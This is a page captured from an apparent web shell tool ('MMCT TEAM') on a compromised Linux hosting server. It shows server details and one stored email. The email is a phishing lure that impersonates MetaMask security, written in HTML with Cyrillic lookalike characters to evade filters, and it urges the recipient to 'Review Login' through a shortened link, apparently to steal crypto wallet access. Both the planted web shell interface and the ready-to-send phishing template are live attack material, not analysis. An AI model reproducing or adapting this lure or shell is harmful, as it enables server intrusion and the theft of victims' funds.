MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0751) :  /home/celkcksm/mail/new/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/mail/new/1749368226.M80489P2275191.orion.herosite.pro,S=4463,W=4596
Return-Path: <postmaster@a8f4148fd3.nxcli.io>
Delivered-To: celkcksm@orion.herosite.pro
Received: from orion.herosite.pro
	by orion.herosite.pro with LMTP
	id +GiVBKI9RWh3tyIAfSdZbQ
	(envelope-from <postmaster@a8f4148fd3.nxcli.io>)
	for <celkcksm@orion.herosite.pro>; Sun, 08 Jun 2025 13:07:06 +0530
Return-path: <postmaster@a8f4148fd3.nxcli.io>
Envelope-to: contact@bmtrust.org.in
Delivery-date: Sun, 08 Jun 2025 13:07:06 +0530
Received: from cloudhost-1038826.us-west-1.nxcli.net ([173.249.144.46]:45738)
	by orion.herosite.pro with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.98.2)
	(envelope-from <postmaster@a8f4148fd3.nxcli.io>)
	id 1uOAa3-00000009XMF-1HR8
	for contact@bmtrust.org.in;
	Sun, 08 Jun 2025 13:07:05 +0530
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=a8f4148fd3.nxcli.io;
  b=Xxq1aAHK+T5MFSKs/hXANUv2lfLQGiAjWpzzTG6XhFd8x03ad2IIiHpnr0LwtXfy/UjffaRIhkILxppyjkCXR72DD/DTssiHiATHlkEfkWl6OrK2orXyNI/feN45ytWYTayJ/hOxw1PekAhJJ1HGoPDwBNQdmMaSW97htuT+JwbL02soTEptxaipxr+mFqjwjkRQk1oEe064yZX6fxNNw42SWzypGuNQhlDtdePNK5xdQ4RXat/TcqLLP1Cux195npGmcCmXDl8rgqvTPmZQa3o66Io2+jFacB4trmqMFuZzwZ9Jxn3wvlxWu//w3f+DfaUzOHdvawg9U8+YXmTMyA==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=a8f4148fd3.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type; s=default; bh=VsUnZIfjy2rprMzvSQvau/zso6RrQM8k8IU
	Qi/neamM=; b=nTUDcAHRCB0XdHTusmxxa5s+sW9pzeaw6a/4XZOykdbpZ83s8Fz
	GUJ6iHxvD5ycCYMTzLtKsC/u2rEZQRxoOE5cTrDHLbhE6MvxGTun30XHiXDFlr99
	5167XBnujmeNSJ0XDTZB8J7cdffXqmK18DMMFwdrLl8G6LeROU45wHZ5P/0ntoeg
	WUUnMNi6iuSOtOy9NFspqAdFGk8zb2tZ3jKVlCWTJ6FYRGoaRFvh5HlEzlOL0HYF
	872u2PuF7CSXXieRBAuzwcd1FQFQj3j+z+qlNthm8FNM3AGRevWo+jiNcDCPpKjV
	UtPszEWFgZjfim3NosX4CSSC7S2j9AIOq2Q==
Received: (qmail 27627 invoked by uid 10182); 8 Jun 2025 07:35:52 +0000
Date: 8 Jun 2025 07:35:52 +0000
Message-ID: <20250608073552.27626.qmail@cloudhost-1038826.us-west-1.nxcli.net>
To: contact@bmtrust.org.in
Subject: Unusual Login Attempt
X-PHP-Originating-Script: 10182:just.php
From: "MеtаMаsk Sеcurity" <75kxdxq7@bkm.io>
Reply-To: 75kxdxq7@bkm.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
X-Spam-Status: No, score=
X-Spam-Score: 
X-Spam-Bar: 
X-Ham-Report: 
X-Spam-Flag: NO


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>MetаMаsk Ѕесurіtу Аlеrt</title>
  <style>
    body {
      margin: 0;
      padding: 30px 0;
      background-color: #f4f5f7;
      font-family: 'Segoe UI', Arial, sans-serif;
      color: #333;
    }
    .card {
      max-width: 540px;
      margin: auto;
      background-color: #ffffff;
      border-radius: 12px;
      box-shadow: 0 4px 18px rgba(0, 0, 0, 0.06);
      padding: 30px 28px;
    }
    .logo {
      text-align: center;
      margin-bottom: 20px;
    }
    .logo img {
      width: 58px;
    }
    h2 {
      font-size: 22px;
      color: #f6851b;
      text-align: center;
      margin-bottom: 14px;
    }
    p {
      font-size: 15px;
      line-height: 1.6;
      text-align: center;
      margin: 0 0 16px;
    }
    .action {
      text-align: center;
      margin: 28px 0;
    }
    .action a {
      background-color: #f6851b;
      color: #ffffff;
      padding: 12px 30px;
      font-size: 15px;
      font-weight: 600;
      text-decoration: none;
      border-radius: 8px;
      display: inline-block;
    }
    .footer {
      font-size: 12px;
      color: #999;
      text-align: center;
      margin-top: 22px;
      line-height: 1.4;
    }
  </style>
</head>
<body>
  <div class="card">
    <div class="logo">
      <img src="https://upload.wikimedia.org/wikipedia/commons/3/36/MetaMask_Fox.svg" alt="MetаMаsk Logo">
    </div>
    <h2>Unrecognized Lоgіn Attempt</h2>
    <p>Yоur wallet was accessed from a location or device we don’t recognize.</p>
    <p>To protect your assets, please verify this activity immediately.</p>
    <div class="action">
      <a href="https://t.co/O3fgFQaNMl?id=6153783255926643021-6248">🔐 Review Lоgіn</a>
    </div>
    <div class="footer">
      If this was you, no further action is needed.<br>
      Thank you for helping keep your wallet secure.<br><br>
      — MetаMаsk Ѕесurіtу Team
    </div>
  </div>
</body>
</html>

MMCT - 2023